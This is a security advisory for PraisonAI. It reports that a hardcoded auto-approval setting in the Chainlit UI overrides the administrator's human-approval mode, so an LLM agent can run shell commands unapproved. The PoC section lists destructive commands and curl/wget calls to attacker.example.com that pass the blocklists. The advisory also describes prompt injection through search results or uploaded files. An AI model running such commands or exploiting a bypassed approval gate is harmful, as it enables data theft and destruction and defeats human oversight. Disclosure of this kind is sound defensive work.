GHSA-qwgj-rrpj-75xm PraisonAI: Hardcoded `approval_mode="auto"` in Chainlit UI Overrides Administrator Configuration, Enabling Unapproved Shell Command Execution
SummaryThe Chainlit UI modules (`chat.py` and `code.py`) hardcode `config.approval_mode = "auto"` after loading administrator configuration from the `PRAISON_APPROVAL_MODE` environment variable, silently overriding any "manual" or "scoped" approval setting. This defeats the human-in-the-loop approval gate for all ACP tool executions, including shell command execution via `subprocess.run(..., shell=True)`. An authenticated user can instruct the LLM agent to execute arbitrary single-command shell operations on the server without any approval prompt.DetailsThe application has a well-designed approval framework supporting `auto`, `manual`, and `scoped` modes, configured via the `PRAISON_APPROVAL_MODE` environment variable and loaded by `ToolConfig.from_env()` at `interactive_tools.py:81-106`.However, both UI modules unconditionally override this after loading:**`chat.py:156-159`:****`code.py:155-158`:**This flows to `agent_tools.py:347-348` in the `acp_execute_command` function:The plan is auto-approved without user confirmation and reaches `action_orchestrator.py:458`:**Command sanitization is insufficient.** Two blocklists exist:`_sanitize_command()` at `agent_tools.py:60-86` blocks: `$(`, `` ` ``, `&&`, `||`, `>>`, `>`, `|`, `;`, `&`, `\n`, `\r``_apply_step()` at `action_orchestrator.py:449` blocks: `;`, `&`, `|`, `$`, `` ` ``Both only target command chaining/substitution operators. Single-argument destructive commands pass both blocklists: `rm -rf /home`, `curl http://attacker.example.com/exfil`, `wget`, `chmod 777 /etc/shadow`, `python3 -c "import os; os.unlink('/important')"`, `dd if=/dev/zero of=/dev/sda`.PoC**Prerequisites:** PraisonAI UI running (`praisonai ui chat` or `praisonai ui code`). Default credentials not changed.**Commands that bypass sanitization blocklists:**`rm -rf /home/user/documents` — no blocked characters`chmod 777 /etc/shadow` — no blocked characters`curl http://attacker.example.com/exfil` — no blocked characters`wget http://attacker.example.com/backdoor -O /tmp/backdoor` — no blocked characters`python3 -c "__import__('os').unlink('/important/file')"` — no blocked charactersImpact**Arbitrary command execution:** An authenticated user (or attacker with default `admin/admin` credentials) can execute any single shell command on the server hosting PraisonAI, subject only to the OS-level permissions of the PraisonAI process.**Confidentiality breach:** Read arbitrary files accessible to the process (`/etc/passwd`, application secrets, environment variables containing API keys).**Integrity compromise:** Modify or delete files, install backdoors, tamper with application code.**Availability impact:** Kill processes, consume disk/memory, delete critical data.**Administrator control undermined:** Even administrators who explicitly set `PRAISON_APPROVAL_MODE=manual` to require human approval have their configuration silently overridden, creating a false sense of security.**Prompt injection vector:** Since the agent also processes external content (web search results via Tavily, uploaded files), malicious content could trigger command execution through the auto-approved tool without direct user intent.Recommended FixRemove the hardcoded override and respect the administrator's configured approval mode. In both `chat.py` and `code.py`:Additionally, strengthen `_sanitize_command()` to use an allowlist approach rather than a blocklist:
CVSS v3.1 score: 8.8